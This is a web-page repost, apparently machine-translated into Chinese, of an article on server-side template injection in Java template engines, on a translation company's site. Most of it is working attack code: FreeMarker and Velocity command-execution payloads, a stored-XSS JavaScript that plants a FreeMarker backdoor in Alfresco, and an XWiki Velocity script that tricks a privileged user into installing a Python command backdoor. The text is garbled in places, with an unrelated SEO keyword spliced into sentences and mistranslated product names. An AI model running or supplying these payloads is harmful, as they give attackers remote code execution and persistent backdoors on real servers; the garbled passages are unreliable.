模板庫翻譯 服務(wù)端模板注入:現(xiàn)代WEB遠(yuǎn)程代碼執(zhí)行(補(bǔ)充翻譯和擴(kuò)展)
日期:2023-03-11 12:39:36 / 人氣: 531 / 發(fā)布者:成都翻譯公司
低權(quán)限用戶可以借助一個(gè)存儲(chǔ)XSS漏洞,利用FreeMarker模板注入方式獲取WebShell。服務(wù)器端模板注入:現(xiàn)代WEB遠(yuǎn)程代碼執(zhí)行(附加翻譯和擴(kuò)展)
羽扇豆·2015/09/02 10:21
0x00 前言
原文鏈接:
*近看了這篇文章,不過不是什么新技術(shù),但是作者給出的兩個(gè)攻擊案例都很好??吹絛rops有人翻譯了這篇文章,但是沒有翻譯攻擊案例,所以加了這部分內(nèi)容。優(yōu)越的。這兩種情況分別是針對(duì)FreeMarker和Velocity的,所以作者針對(duì)這兩個(gè)模板引擎寫Exploit的過程也翻譯了一下。
0x01 開發(fā)漏洞
許多模板引擎試圖限制模板程序執(zhí)行任意代碼的能力,以防止應(yīng)用層邏輯對(duì)表達(dá)式引擎的攻擊。一些模板引擎試圖通過沙盒和其他方式安全地處理不受信任的用戶輸入。在這些措施下,開發(fā)模板后門變得非常具有挑戰(zhàn)性。
自由標(biāo)記
FreeMarke 是*流行的 Java 模板之一,也是*常交給用戶操作的模板。FreeMarker 官網(wǎng)解釋了允許“用戶提供”模板的危險(xiǎn):
對(duì)應(yīng)翻譯:
22.是否允許用戶上傳模板文件?這會(huì)影響安全嗎?一般來說,除非是管理員或受信任的用戶,否則您不應(yīng)允許用戶進(jìn)行此類操作??紤]到模板是一個(gè)類似于 *.java 文件的源代碼文件。如果您仍然希望允許用戶上傳模板文件,您應(yīng)該考慮以下事項(xiàng):
在DoS等一些低風(fēng)險(xiǎn)的安全問題之后,我們可以看到以下內(nèi)容:
對(duì)應(yīng)翻譯:
內(nèi)置新運(yùn)算符(Configuration.setNewBuiltinClassResolver、Environment.setNewBuiltinClassResolver):使用“com.example.SomeClass”?new() 在這樣的模板文件中。這對(duì)于FTL庫很重要,但是在普通模板文件的時(shí)候不需要使用。FreeMarker 包含一個(gè) TemplateModel 接口,可以用來構(gòu)造任何 java 對(duì)象,new 操作符可以實(shí)例化 TemplateModel 的實(shí)現(xiàn)類。一些危險(xiǎn)的 TemplateModel 實(shí)現(xiàn)類可能在類路徑中。即使某個(gè)類沒有實(shí)現(xiàn) TemplateModel 接口,也會(huì)執(zhí)行該類中的靜態(tài)代碼塊。為了避免這種情況,您可以使用 TemplateClassResolver 類來限制對(duì)該類的訪問,如下所示: TemplateClassResolver.ALLOWS_NOTHING_RESOLVER
這個(gè)警告有點(diǎn)神秘,但它提醒我們可能可以使用內(nèi)置的 new 運(yùn)算符來完成 exp。我們來看看有關(guān) new 運(yùn)算符的文檔:
對(duì)應(yīng)翻譯:
這個(gè)內(nèi)置操作符需要考慮安全問題,因?yàn)槟0寰帉懻呖梢允褂盟鼇順?gòu)造任意的 java 對(duì)象,然后使用這些構(gòu)造的 java 對(duì)象,只要它們實(shí)現(xiàn)了 TemplateModel 接口。并且模板編寫者也可以觸發(fā)類的靜態(tài)代碼塊中的代碼,即使該類沒有實(shí)現(xiàn) TemplateModel 接口。如果您允許不太信任的用戶上傳模板,您應(yīng)該查看以下主題。
TemplateModel的實(shí)現(xiàn)類中有沒有什么有用的類?我們來看看這個(gè)接口的JavaDoc:
出現(xiàn)了一個(gè)類的名稱:執(zhí)行。
查看這個(gè)類的細(xì)節(jié),可以發(fā)現(xiàn)它可以做我們想做的事情:接收輸入并執(zhí)行
使用它非常簡單:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("id") }
uid=119(tomcat7) gid=127(tomcat7) groups=127(tomcat7)
此有效負(fù)載稍后將非常有用。
添加:
研究了TemplateModel的其他實(shí)現(xiàn)類,發(fā)現(xiàn)ObjectConstructor類也很有用。從名字上可以看出,這個(gè)類是用來構(gòu)造其他類的對(duì)象的。你可以通過查看代碼來了解如何使用它:
通過代碼可以看到提供的類名和構(gòu)造函數(shù)的參數(shù),然后我們就可以使用ObjectConstructor類來構(gòu)造我們想要的類了。有了這個(gè),我們可以執(zhí)行任何java代碼。下面給出兩個(gè)例子,一個(gè)是執(zhí)行命令,另一個(gè)是文件讀取。
速度
Velocity 是另一個(gè)流行的 Java 模板框架,它很難被利用。沒有“安全注意事項(xiàng)”頁面來指出有風(fēng)險(xiǎn)的函數(shù)和內(nèi)部變量。下面的截圖顯示了使用 Burp 對(duì)變量名進(jìn)行暴力破解。左邊是payload,右邊是服務(wù)器的返回值。
變量 class 看起來很有用,因?yàn)樗祷?Object 類的 Class 對(duì)象。通過谷歌找到這個(gè)鏈接:
你可以看到一個(gè)方法和一個(gè)屬性:
我們可以結(jié)合 $class.inspect 和 $class.type 來構(gòu)造任何對(duì)象。然后我們可以通過 Runtime.exec() 執(zhí)行任意命令。這個(gè)想法可以用下面的代碼來確認(rèn),會(huì)造成延遲。
$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()
[5 second time delay]
0
獲取命令執(zhí)行結(jié)果有點(diǎn)麻煩:
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
tomcat7
添加:
不得不說,原作者的方法有點(diǎn)麻煩,而且這個(gè)方法只能用在Velocity Tool中,不能用在Velocity Engine中。其實(shí)反射是可以直接使用的。代碼如下:
#set ($exp = "exp")
$exp.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami")
0x02 兩種情況 情況一:露天
Alfresco 是一個(gè) CMS 系統(tǒng)。低權(quán)限用戶可以利用存儲(chǔ)型 XSS 漏洞通過 FreeMarker 模板注入獲取 WebShell。之前創(chuàng)建的 FreeMarker 后門可以直接使用,但是我將其擴(kuò)展為使用請(qǐng)求參數(shù)作為命令:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex(url.getArgs())}
低權(quán)限用戶沒有編輯模板的權(quán)限,但他們可以通過使用管理員帳戶存儲(chǔ) XSS 來安裝此后門。我編寫了以下 JavaScript 代碼來完成這次攻擊:
#!javascript
tok = /Alfresco-CSRFToken=([^;]*)/.exec(document.cookie)[1];
tok = decodeURIComponent(tok) do_csrf=new XMLHttpRequest(); do_csrf.open("POST","http://"+document.domain+":8080/share/proxy/alfresco/api/node/workspace /SpacesStore/59d3cbdc-70cb-419e-a325-759a4c307304/formprocessor",false); do_csrf.setRequestHeader('Content-Type','application/json; charset=UTF-8'); do_csrf.setRequestHeader('Alfresco-CSRFToken',tok); do_csrf.send('{"prop_cm_name":"folder.get.html.ftl","prop_cm_content":"&lgt;#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(url.getArgs())}","prop_cm_description":""}');
模板的GUID不同,但低權(quán)限用戶也可以通過“數(shù)據(jù)字典”輕松獲取。此外,與其他可以控制整個(gè)Web服務(wù)器的應(yīng)用程序管理員不同,露天系統(tǒng)管理員可以進(jìn)行的操作受到嚴(yán)格限制。
案例 2:XWiki Enterprise
XWiki Enterprise 是一個(gè)專業(yè)的維基程序。在默認(rèn)配置下,匿名用戶可以在編輯 wiki 頁面時(shí)注冊用戶并嵌入 Velocity 模板代碼。此功能使其成為模板注入的理想目標(biāo)。但是,之前創(chuàng)建的 Velocity 負(fù)載無法使用,因?yàn)榇颂師o法使用 $class。
XWiki 對(duì) Velocity 的評(píng)價(jià):
對(duì)應(yīng)翻譯:
XWiki沙箱提供安全的對(duì)象訪問,每個(gè)API調(diào)用都會(huì)檢測權(quán)限并禁止對(duì)未授權(quán)資源的操作,因此不需要特殊的權(quán)限控制。其他腳本語言需要腳本語言編寫者具有執(zhí)行權(quán)限,但除此之外,訪問服務(wù)器上的所有資源。
...未經(jīng)許可,您不能實(shí)例化對(duì)象,您只能使用文本和 XWiki API 提供的安全資源。如果您按照 XWiki 提供的正確方法,XWiki 可以安全地開發(fā)大量應(yīng)用程序。
…… 瀏覽包含腳本的頁面不需要Programming權(quán)限,保存時(shí)才需要。
也就是說,XWiki 不僅支持 Velocity,還支持 Groovy 和 Python 等沒有沙箱的腳本。但是模板庫翻譯,此操作需要編程權(quán)限。這是一件好事,因?yàn)樗鼘⑻貦?quán)升級(jí)變成了任意代碼執(zhí)行。由于我們只能使用 Velocity,我們必須使用 XWiki API。
$doc 類中有一些非常有趣的方法。聰明的讀者可能會(huì)發(fā)現(xiàn)一個(gè)缺陷:
維基頁面內(nèi)容的作者是*后一個(gè)編輯它的用戶。save方法和saveAsAuthor方法的區(qū)別在于save方法不使用作者的身份來保存內(nèi)容,而是使用當(dāng)前訪問頁面的用戶的身份。換句話說模板庫翻譯,一個(gè)低權(quán)限的用戶可以創(chuàng)建一個(gè) wiki 頁面,當(dāng)具有編程權(quán)限的用戶查看、編輯和保存頁面時(shí),腳本將被執(zhí)行。讓我們注入以下 Python 后門:
#!python
from subprocess import check_output
q = request.get('q') or 'true'
q = q.split(' ')
print ''+check_output(q)+''
我們只需要添加一些代碼即可獲得管理員權(quán)限:
innocent content
#if( $doc.hasAccessLevel("programming") )
$doc.setContent("
innocent content
from subprocess import check_output
q = request.get('q') or 'true'
q = q.split(' ')
print ''+check_output(q)+''
")
$doc.save()
#end
當(dāng)具有編程權(quán)限的用戶查看包含此類內(nèi)容的頁面時(shí),將自動(dòng)安裝后門。之后,訪問此頁面的每個(gè)人都可以執(zhí)行任何命令:
0x03 附言
作者提出的攻擊思路還是很不錯(cuò)的。我也知道這種模板文件可以用來執(zhí)行任意代碼,但我沒有深入思考進(jìn)一步的使用方法。傳統(tǒng)的攻擊思路一般是獲取后臺(tái)管理員權(quán)限。然后利用上傳等漏洞getshell,但其實(shí)后臺(tái)編輯模板功能在很多情況下是可以直接執(zhí)行任意代碼的。經(jīng)測試,大多數(shù)具有編輯模板功能的應(yīng)用都存在類似問題??磥砉暨^程中的技術(shù)理解越透徹。越廣。
相關(guān)閱讀Relate
熱門文章 Recent
- 英語作文高考模板帶翻譯 英語作文范文帶翻譯高中生2023-03-11
- 門診疾病證明書翻譯模板 疾病診斷證明翻譯模板2023-03-11
- 廣州正規(guī)協(xié)議翻譯模板 如何選擇廣州合同翻譯服務(wù)公司2023-03-11
- 英語邀請(qǐng)信模板帶翻譯專題 邀請(qǐng)信英語作文模板,求一篇關(guān)于邀請(qǐng)函的英語2023-03-11
- 江西省大學(xué)錄取花名冊翻譯模板 江西理工大學(xué)考研難嗎?一般要什么水平才可以進(jìn)入?進(jìn)入閱讀模式2023-03-11
- 美國租車駕照翻譯模板 租租車駕照翻譯件海外“翻車”2023-03-11
- 廣西公務(wù)員退休證翻譯模板 2021年廣西退休年齡及辦理退休流程和所需資料政策2023-03-11
- 南洋理工大學(xué)成績單翻譯模板-新加坡南洋理工大學(xué)申請(qǐng)書翻譯模板2023-03-11
- 澳洲簽證翻譯件模板 2016年澳大利亞出入境卡范本,澳洲入境卡填寫樣本2023-03-11
- 澳大利亞翻譯護(hù)照模板 澳大利亞護(hù)照翻譯2023-03-11